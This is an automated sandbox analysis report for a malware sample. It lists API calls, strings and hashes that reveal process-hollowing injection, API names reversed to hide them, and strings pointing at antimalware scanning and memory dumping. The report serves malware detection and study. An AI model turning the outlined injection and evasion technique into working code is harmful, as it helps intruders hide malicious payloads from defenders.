Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMON

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,?,?,00000000,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,00000001,?,00000000,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Analysis Process: Cllyjbrx.PIFPID: 1440, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	171
Total number of Limit Nodes:	15

Executed Functions

Function 031B8D70 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031B89D0: FreeLibrary.KERNEL32(03227388,00000000,00000000,00000000,00000000,0322738C,Function_0000562C,00000004,0322739C,0322738C,05F5E103,00000040,032273A0,03227388,00000000,00000000), ref: 031B8AAA

Part of subcall function 031B8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031B8814

GetThreadContext.KERNEL32(032273D4,03227424,ScanString,032273A8,031BA93C,UacInitialize,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,UacInitialize,032273A8), ref: 031B9602

Part of subcall function 031B8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B8471

Part of subcall function 031B8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 031B86D5

Part of subcall function 031B7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031B7A9F

Part of subcall function 031B7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B7DEC

SetThreadContext.KERNEL32(032273D4,03227424,ScanBuffer,032273A8,031BA93C,ScanString,032273A8,031BA93C,Initialize,032273A8,031BA93C,032273D0,032274C0,032274FC,00000004,03227500), ref: 031BA317
NtResumeThread.NTDLL(032273D4,00000000), ref: 031BA324

Part of subcall function 031B894C: LoadLibraryW.KERNEL32(?,?), ref: 031B8960
Part of subcall function 031B894C: GetProcAddress.KERNEL32(03227394,BCryptVerifySignature), ref: 031B897A
Part of subcall function 031B894C: FreeLibrary.KERNEL32(03227394,03227394,BCryptVerifySignature,bcrypt,?,032273D4,00000000,032273A8,031BA587,ScanString,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,Initialize), ref: 031B89B6

Strings

advapi32, xrefs: 031BA705
MiniDumpReadDumpStream, xrefs: 031BA728
bcrypt, xrefs: 031BA578, 031BA58C, 031BA5A0
Initialize, xrefs: 031B90EA, 031B96F8, 031B987F, 031B9C68, 031B9ECA, 031BA03A, 031BA1AD, 031BA412, 031BA743
OpenSession, xrefs: 031B8DA9, 031B91CC, 031B927E, 031BA64F, 031BA795
NtOpenProcess, xrefs: 031BA8A3
SLGetLicenseInformation, xrefs: 031B935F
ScanBuffer, xrefs: 031B8ECC, 031B8F54, 031B92EF, 031B9404, 031B94A1, 031B97DA, 031B9961, 031B9AF4, 031B9CD9, 031B9DEE, 031B9FAC, 031BA11C, 031BA28F, 031BA483, 031BA6A1, 031BA7E7
NtReadVirtualMemory, xrefs: 031BA620
NtSetSecurityObject, xrefs: 031BA88F
NtOpenObjectAuditAlarm, xrefs: 031BA634, 031BA6EC
UacScan, xrefs: 031B8E73, 031B908B, 031B9687, 031B9A83, 031B9BF7, 031BA3A1, 031BA839
BCryptQueryProviderRegistration, xrefs: 031BA587
ScanString, xrefs: 031B8E02, 031B8FAD, 031B915B, 031B9583, 031B9769, 031B98F0, 031B9D7D, 031B9F3B, 031BA0AB, 031BA21E, 031BA509, 031BA5B6
ntdll, xrefs: 031BA625, 031BA639, 031BA6F1, 031BA894, 031BA8A8
MiniDumpWriteDump, xrefs: 031BA714
BCryptRegisterProvider, xrefs: 031BA59B
BCryptVerifySignature, xrefs: 031BA573
I_QueryTagInformation, xrefs: 031BA700
UacInitialize, xrefs: 031B9032, 031B9393, 031B9512, 031B9616, 031B9A12, 031B9B86, 031BA330
sppc, xrefs: 031B9376
dbgcore, xrefs: 031BA719, 031BA72D

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2388221946-51457883
Opcode ID: ea155c44fefa12e9cb510e333dceb1d1c72035661fdae7aeb3f290cf497ee968
Instruction ID: 57ca3a4bd5727792ced5c80215504b909d114afb7b235342262ee6cf0599ba3e
Opcode Fuzzy Hash: ea155c44fefa12e9cb510e333dceb1d1c72035661fdae7aeb3f290cf497ee968
Instruction Fuzzy Hash: E8E2E93DA04A589FCB11EB69DC80ACE73B9AF9C601F5041A1E058AF315DF70EE869F51

Function 031B8D6E Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031B89D0: FreeLibrary.KERNEL32(03227388,00000000,00000000,00000000,00000000,0322738C,Function_0000562C,00000004,0322739C,0322738C,05F5E103,00000040,032273A0,03227388,00000000,00000000), ref: 031B8AAA

Part of subcall function 031B8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031B8814

GetThreadContext.KERNEL32(032273D4,03227424,ScanString,032273A8,031BA93C,UacInitialize,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,UacInitialize,032273A8), ref: 031B9602

Part of subcall function 031B8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B8471

Part of subcall function 031B8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 031B86D5

Part of subcall function 031B7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031B7A9F

Strings

advapi32, xrefs: 031BA705
MiniDumpReadDumpStream, xrefs: 031BA728
bcrypt, xrefs: 031BA578, 031BA58C, 031BA5A0
Initialize, xrefs: 031B90EA, 031B96F8, 031B987F, 031B9C68, 031B9ECA, 031BA03A, 031BA1AD, 031BA412, 031BA743
OpenSession, xrefs: 031B8DA9, 031B91CC, 031B927E, 031BA64F, 031BA795
NtOpenProcess, xrefs: 031BA8A3
SLGetLicenseInformation, xrefs: 031B935F
ScanBuffer, xrefs: 031B8ECC, 031B8F54, 031B92EF, 031B9404, 031B94A1, 031B97DA, 031B9961, 031B9AF4, 031B9CD9, 031B9DEE, 031B9FAC, 031BA11C, 031BA28F, 031BA483, 031BA6A1, 031BA7E7
NtReadVirtualMemory, xrefs: 031BA620
NtSetSecurityObject, xrefs: 031BA88F
NtOpenObjectAuditAlarm, xrefs: 031BA634, 031BA6EC
UacScan, xrefs: 031B8E73, 031B908B, 031B9687, 031B9A83, 031B9BF7, 031BA3A1, 031BA839
BCryptQueryProviderRegistration, xrefs: 031BA587
ScanString, xrefs: 031B8E02, 031B8FAD, 031B915B, 031B9583, 031B9769, 031B98F0, 031B9D7D, 031B9F3B, 031BA0AB, 031BA21E, 031BA509, 031BA5B6
ntdll, xrefs: 031BA625, 031BA639, 031BA6F1, 031BA894, 031BA8A8
MiniDumpWriteDump, xrefs: 031BA714
BCryptRegisterProvider, xrefs: 031BA59B
BCryptVerifySignature, xrefs: 031BA573
I_QueryTagInformation, xrefs: 031BA700
UacInitialize, xrefs: 031B9032, 031B9393, 031B9512, 031B9616, 031BA330
sppc, xrefs: 031B9376
dbgcore, xrefs: 031BA719, 031BA72D

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3386062106-51457883
Opcode ID: 7a8e205e086c546e66d5d3ec26e00943615ec1ca6c86d68583ab672f0414c3c3
Instruction ID: d07edac37b274b2eee33aac992351979974b763c8d09f9c08dea95b33f256576
Opcode Fuzzy Hash: 7a8e205e086c546e66d5d3ec26e00943615ec1ca6c86d68583ab672f0414c3c3
Instruction Fuzzy Hash: 19E2E93DA04A589FCB11FB69DC80ACE73B9AF9C601F5041A1E058AF315DF70EE869B51

Function 031A5ACC Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 031A5AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031A5B06
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031A5B24
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 031A5B42
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,031A5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 031A5B8B
RegQueryValueExA.ADVAPI32(?,031A5D38,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,031A5BD1,?,80000001), ref: 031A5BA9
RegCloseKey.ADVAPI32(?,031A5BD8,00000000,00000000,00000005,00000000,031A5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031A5BCB
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 031A5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 031A5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 031A5BFB
lstrlen.KERNEL32(00000000), ref: 031A5C26
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 031A5C6D
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5C7D
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 031A5CA5
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5CB5
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5CDB
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 031A5B38
Software\Borland\Locales, xrefs: 031A5AFC, 031A5B1A
., xrefs: 031A5C38

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-3917250287
Opcode ID: d8148d87ee2c0a515ae068f23cae8cc70379e81341baa35d196d89c93d0d005e
Instruction ID: 17c233aeb6141e72c3cffbd5e9281f1ec72455fa4fbd48f5f743dd8d873040a7
Opcode Fuzzy Hash: d8148d87ee2c0a515ae068f23cae8cc70379e81341baa35d196d89c93d0d005e
Instruction Fuzzy Hash: BD510A7DA4475C7FEB20D6AC8C45FEFB7AD9B0D342F1400A2AA40E6185E774DA488B60

Function 031B7A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031B7A9F

Strings

yromeMlautriVetacollAwZ, xrefs: 031B7A47
ntdll, xrefs: 031B7A74

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$AllocateHandleMemoryModuleVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 1888340430-445027087
Opcode ID: 54064e8b438cd3fa95102980866ff54971d03c025b0a0437b5cf234b72961bb3
Instruction ID: 677f420b566d3d021f455fbcd043bb887972ecb07d9987e889d3052d0c1af553
Opcode Fuzzy Hash: 54064e8b438cd3fa95102980866ff54971d03c025b0a0437b5cf234b72961bb3
Instruction Fuzzy Hash: DA111B79204308BFDB14EFA9EC51EEE77BCEB8C610F509460F900DB681DB70AA008B64

Function 031B7A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031B7A9F

Strings

yromeMlautriVetacollAwZ, xrefs: 031B7A47
ntdll, xrefs: 031B7A74

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$AllocateHandleMemoryModuleVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 1888340430-445027087
Opcode ID: 650208f9fb7737f384f9b95ee23ae72eac3d3b9e51fbd6f81e2d511c5e5a2260
Instruction ID: 534b1e459e0a4691c05e9b0b94ec3466c0404b61fe973a2e9892b6e9db57c29b
Opcode Fuzzy Hash: 650208f9fb7737f384f9b95ee23ae72eac3d3b9e51fbd6f81e2d511c5e5a2260
Instruction Fuzzy Hash: 76111B79204308BFDB14EFA9EC51EDE77BCEB8C610F509460F900DB681DB70AA008B64

Function 031B8400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B8471

Strings

ntdll, xrefs: 031B8448
yromeMlautriVdaeRtN, xrefs: 031B841B

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleMemoryModuleReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 36784810-737317276
Opcode ID: 6f506b4f1918ba29deb2adb7a5602aaa93c912758f36452bd2ddfd553575da35
Instruction ID: 663a6454901d123f7f371abc8bd9592b3db37c57cc6225d7c954f0d77683f560
Opcode Fuzzy Hash: 6f506b4f1918ba29deb2adb7a5602aaa93c912758f36452bd2ddfd553575da35
Instruction Fuzzy Hash: 51012579204748BFDB10EFA9EC51E9EB7FCEB4DA10F518460F904DB641DB74A9008B24

Function 031B7D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B7DEC

Strings

yromeMlautriVetirW, xrefs: 031B7D93
Ntdll, xrefs: 031B7DC3

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleMemoryModuleVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 1525300337-3542721025
Opcode ID: 9bc319e14dd53f47f9dfd710c5ed3caf5f0ce65e52359e6496a7c0f6acaeb354
Instruction ID: 665638c880d765c733a32c6cb6861009aecb0119ea174e03c567516fa8aa8d70
Opcode Fuzzy Hash: 9bc319e14dd53f47f9dfd710c5ed3caf5f0ce65e52359e6496a7c0f6acaeb354
Instruction Fuzzy Hash: 34011779204208AFCB10EF99EC56E9E77FCEF8DA00F508460F800DB681DB70AD108B64

Function 031B8670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 031B86D5

Strings

ntdll, xrefs: 031B86B8
noitceSfOweiVpamnUtN, xrefs: 031B868B

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleModuleSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 858119152-2520021413
Opcode ID: ea7716c70fd4a360e324f9277604b52926ca5a4171586a6bde5fbbaf9b47b517
Instruction ID: 7627684cf1881a41eee6f439946a8d77a8d5ce3cdbbbba385128e1a20d2b0cf2
Opcode Fuzzy Hash: ea7716c70fd4a360e324f9277604b52926ca5a4171586a6bde5fbbaf9b47b517
Instruction Fuzzy Hash: E4014F7C604748BFDB10FFA9EC51E9D77BDEB4DA11F518460E4009B641DB74A9008624

Function 031B86F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 031B86D5

Strings

ntdll, xrefs: 031B86B8
noitceSfOweiVpamnUtN, xrefs: 031B868B

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleModuleSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 858119152-2520021413
Opcode ID: 9ffe1f581c414942d1ee579b17bda99f392349186a162dc794c77935294e9e04
Instruction ID: 2586d394b4ad182431df35c62aed1a43270eb551266ff0272402be0c04ce34ff
Opcode Fuzzy Hash: 9ffe1f581c414942d1ee579b17bda99f392349186a162dc794c77935294e9e04
Instruction Fuzzy Hash: 94F0497CA08388AFCB04FBA9E9459DD77FDEB8DA11B5084A1E4049B245DB30AA01CA10

Function 031BDD70 Relevance: 3.1, APIs: 2, Instructions: 80nativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 031BDDAB
NtClose.NTDLL(?), ref: 031BDE25

Part of subcall function 031A4C60: SysFreeString.OLEAUT32 ref: 031A4C6E

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Path$CloseFreeNameName_String
String ID:
API String ID: 11680810-0
Opcode ID: 9f518491777f10014770e7d47fd6e51e3c66cb7a4a06857dbf2a31d7d35ad3ef
Instruction ID: fb8a940b3a51a6251b6ac1a9e100263a171176dab13389f7b6b35fdb9d350dc9
Opcode Fuzzy Hash: 9f518491777f10014770e7d47fd6e51e3c66cb7a4a06857dbf2a31d7d35ad3ef
Instruction Fuzzy Hash: 8521E079A40708BBDB15EAA5DD52FDEB7BCAB4CB00F500461F200FB180DBB4AA048765

Function 031B7AC9 Relevance: 1.5, APIs: 1, Instructions: 32memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031B7A9F

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 8ae3787e6336354a6937ad59b0e7b1866c475cbf9ab40b85fa9897fa7701db5f
Instruction ID: da3701ef45564d3bf13b977de219228e5c2f261427621c7322ffd5c202d701b6
Opcode Fuzzy Hash: 8ae3787e6336354a6937ad59b0e7b1866c475cbf9ab40b85fa9897fa7701db5f
Instruction Fuzzy Hash: 38F0FE7A508248BFDB45DFA8EC54EEA77ECEB8C710F445466F905C7241E7349A008760

Function 031BF7C8 Relevance: 222.6, APIs: 6, Strings: 116, Instructions: 9071COMMON

Download Yara Rule

Strings

RtlCreateQueryDebugBuffer, xrefs: 031CA6DD
NtWaitForSingleObject, xrefs: 031CA677
SetUnhandledExceptionFilter, xrefs: 031CAC0B
VirtualProtect, xrefs: 031CAB3F
